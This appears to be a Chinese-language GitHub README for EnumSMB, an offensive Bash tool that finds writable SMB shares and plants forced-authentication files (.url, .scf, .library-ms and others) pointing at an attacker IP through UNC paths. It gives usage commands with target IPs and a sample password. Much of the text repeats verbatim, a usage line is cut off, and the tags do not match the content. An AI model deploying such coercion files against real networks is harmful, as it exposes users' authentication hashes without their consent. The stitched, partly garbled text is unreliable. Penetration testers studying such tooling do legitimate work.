tralsesec/EnumSMB
GitHub: tralsesec/EnumSMB
EnumSMB 是一个自动化的 SMB 共享枚举与强制引导 payload 部署 Bash 脚本,用于渗透测试中快速发现可写共享目录并测试 Windows 文件浏览器的出站连接行为。
Stars: 0 | Forks: 0
# EnumSMB
**EnumSMB** 是一个武器化、军事级、独立的 `smbclient` bash 包装器。它旨在自动化 SMB 文件共享审计和强制引导部署的生命周期,将标准的目录枚举转变为快速、零依赖的工作流。
它处理递归共享解析、结构化转义序列修复以及自动化的多向量强制引导部署。通过 LinPEAS 风格的彩色输出,可以瞬间识别出高价值的可写目标,从而快速评估身份验证强制向量。
开发此工具是为了在网络分析工作流中简化 SMB 共享枚举、payload 部署以及环境交战后清理的过程。
## 🎯 功能
* **多向量强制引导武器库:** 内嵌针对六种不同文件类型(`.url`、`.scf`、`.library-ms`、`.search-ms`、`.searchConnector-ms`、`.search`)的模板引擎,用于测试文件资源管理器的后台解析行为和出站连接处理。
* **智能自主目标范围:** 自动查询目标主机,过滤掉默认的管理端点(如 `C$` 和 `ADMIN$`),并动态映射所有非管理磁盘共享。
* **精准共享审计:** 递归爬取更深层的目录结构,并应用非破坏性验证检查(`mkdir`/`rmdir` 循环),以明确验证写入能力,而不是依赖表面的顶层共享标志。
* **双轨执行(`all`):** 在屏幕上实时映射共享目录权限,同时在每个可写目标目录中部署选定的结构化模板。
* **动态变量接口:** 利用未加引号的 shell here-document 和本地化的反斜杠转义,在运行中直接将上下文感知的攻击者 IP (`$USER_IP`) 和共享标识 (`$SHARE`) 注入到配置 payload 中。
* **精准清理引擎(`clean`):** 具备全面的移除模式,一旦验证完成,即会扫描所有可访问路径,以选择性地扫描并清除硬编码的隐藏文件(`.background-image.*`)。
## 📦 依赖项
此工具依赖于 Kali Linux、Parrot OS 或任何标准 Linux 发行版原生提供的标准网络实用程序:
* `smbclient`
* 标准 Linux 处理实用程序:`grep`、`sed`、`tr`
## 🚀 使用方法
```
Usage: ./enumsmb.sh -i -l -m [-t ] [-u ] [-p ] [-s ]
Modes:
enum : Check read/write permissions on all directories
write : Silent upload (all templates if -t omitted)
all : Enumerate and upload simultaneously
clean : Remove template files (all extensions if -t omitted)
Templates:
url : Internet Shortcut (.url)
scf : Windows Explorer Command (.scf)
library-ms : Windows Library Description (.library-ms)
search-ms : Saved Search (.search-ms)
searchConnector-ms : Search Connector (.searchConnector-ms)
search : Generic Search Config (.search)
```
### 示例
**标准匿名共享枚举:**
```
./enumsmb.sh -i 10.129.23.236 -l 10.10.14.127 -m enum
```
**批量部署所有强制引导模板(已认证):**
```
./enumsmb.sh -i 10.129.23.236 -l 10.10.14.127 -m write -u 'ldap_monitor' -p '1GR8t@$$4u'
```
**特定向量的定向部署(同时进行枚举和写入):**
```
./enumsmb.sh -i 10.129.23.236 -l 10.10.14.127 -m all -t library-ms -s 'loot_share'
```
**多扩展名的精准交战后清理:**
```
./enumsmb.sh -i 10.129.23.236 -l 10.10.14.127 -m clean
```
### 🦖 实战演示
## 🧠 深入解析
### 👻 Windows Shell 架构强制引导(向量)
出站连接强制引导针对的是现代图形化文件浏览器和索引系统固有的自动元数据解析例程。当用户或系统进程与文件夹交互时,操作系统会在文件被打开之前读取文件头以确定视觉布局。
该脚本整合了多种不同的结构化格式,以评估目标网络如何处理这些后台请求:
#### 1. 桌面 Shell 交互(`.url` / `.scf`)
这些纯文本配置文件直接与本地桌面 Shell 通信。Shell 会解析 `IconFile` 属性以获取相应的图形表示。通过将此属性映射到远程 UNC 目标,任何加载该文件夹视图的进程都会自动生成出站流量,以获取目标资产。
#### 2. XML 存储聚合(`.library-ms` / `.search-ms`)
Windows Library 结构利用 XML schema 将物理上分离的存储位置组合成一个统一的目录树。该脚本在 XML 框架内定义了自定义的搜索位置:
```
\\\\$USER_IP\\$SHARE\\icon.ico
```
当被访问或索引时,解析引擎会处理 `` 块,导致主机操作系统通过网络查询指定目标,以同步跟踪状态。
### ❓ 递归顶层和子目录验证
在文件系统审计过程中,仅依赖顶层共享权限通常会产生误报。一个网络共享可能被标记为全局可读,但继承树深处的特定子文件夹可能仍维护着独立的访问控制列表(ACL)。
**EnumSMB** 使用嵌套评估循环强制执行深度跟踪验证:
```
smbclient "//$IP/$SHARE" -c "recurse ON; ls" | grep '^\\'
```
#### 1. 树状处理
该工具通过 `recurse ON` 启动完整的树状爬取,捕获文件夹头信息。然后,每个发现的路径都会被隔离,并传递到自主逻辑检查中。
#### 2. 非破坏性主动探测
该工具不是根据服务器响应代码来猜测权限,而是直接在每个特定的路径位置执行操作测试:
```
smbclient ... -c "cd \"$target_dir\"; mkdir check_perm_dir"
```
如果执行字符串遇到访问错误或 `NT_STATUS_` 拒绝标志,它会将该路径记录为只读。如果创建成功,它会立即发出相应的 `rmdir` 语句以恢复文件夹状态,并将该位置标记为高度可写。这提供了一份跨网络实际目录权限的直接、经实证验证的映射图。
## ⚠️ 免责声明
此工具仅出于教育目的和授权的基础设施审计/渗透测试而设计。作者对因使用此脚本造成的任何误用、运营中断或数据修改不承担任何责任。在分析目标环境之前,请务必确保您已获得明确的书面授权。
**作者:** [tralsesec](https://github.com/tralsesec)
**许可证:** MIT
**EnumSMB** 是一个武器化、军事级、独立的 `smbclient` bash 包装器。它旨在自动化 SMB 文件共享审计和强制引导部署的生命周期,将标准的目录枚举转变为快速、零依赖的工作流。
它处理递归共享解析、结构化转义序列修复以及自动化的多向量强制引导部署。通过 LinPEAS 风格的彩色输出,可以瞬间识别出高价值的可写目标,从而快速评估身份验证强制向量。
开发此工具是为了在网络分析工作流中简化 SMB 共享枚举、payload 部署以及环境交战后清理的过程。
## 🎯 功能
* **多向量强制引导武器库:** 内嵌针对六种不同文件类型(`.url`、`.scf`、`.library-ms`、`.search-ms`、`.searchConnector-ms`、`.search`)的模板引擎,用于测试文件资源管理器的后台解析行为和出站连接处理。
* **智能自主目标范围:** 自动查询目标主机,过滤掉默认的管理端点(如 `C$` 和 `ADMIN$`),并动态映射所有非管理磁盘共享。
* **精准共享审计:** 递归爬取更深层的目录结构,并应用非破坏性验证检查(`mkdir`/`rmdir` 循环),以明确验证写入能力,而不是依赖表面的顶层共享标志。
* **双轨执行(`all`):** 在屏幕上实时映射共享目录权限,同时在每个可写目标目录中部署选定的结构化模板。
* **动态变量接口:** 利用未加引号的 shell here-document 和本地化的反斜杠转义,在运行中直接将上下文感知的攻击者 IP (`$USER_IP`) 和共享标识 (`$SHARE`) 注入到配置 payload 中。
* **精准清理引擎(`clean`):** 具备全面的移除模式,一旦验证完成,即会扫描所有可访问路径,以选择性地扫描并清除硬编码的隐藏文件(`.background-image.*`)。
## 📦 依赖项
此工具依赖于 Kali Linux、Parrot OS 或任何标准 Linux 发行版原生提供的标准网络实用程序:
* `smbclient`
* 标准 Linux 处理实用程序:`grep`、`sed`、`tr`
## 🚀 使用方法
```
Usage: ./enumsmb.sh -i
## 🧠 深入解析
### 👻 Windows Shell 架构强制引导(向量)
出站连接强制引导针对的是现代图形化文件浏览器和索引系统固有的自动元数据解析例程。当用户或系统进程与文件夹交互时,操作系统会在文件被打开之前读取文件头以确定视觉布局。
该脚本整合了多种不同的结构化格式,以评估目标网络如何处理这些后台请求:
#### 1. 桌面 Shell 交互(`.url` / `.scf`)
这些纯文本配置文件直接与本地桌面 Shell 通信。Shell 会解析 `IconFile` 属性以获取相应的图形表示。通过将此属性映射到远程 UNC 目标,任何加载该文件夹视图的进程都会自动生成出站流量,以获取目标资产。
#### 2. XML 存储聚合(`.library-ms` / `.search-ms`)
Windows Library 结构利用 XML schema 将物理上分离的存储位置组合成一个统一的目录树。该脚本在 XML 框架内定义了自定义的搜索位置:
```
标签:Cutter, Maven, Modbus, SMB枚举, 应用安全, 文件共享审计, 漏洞验证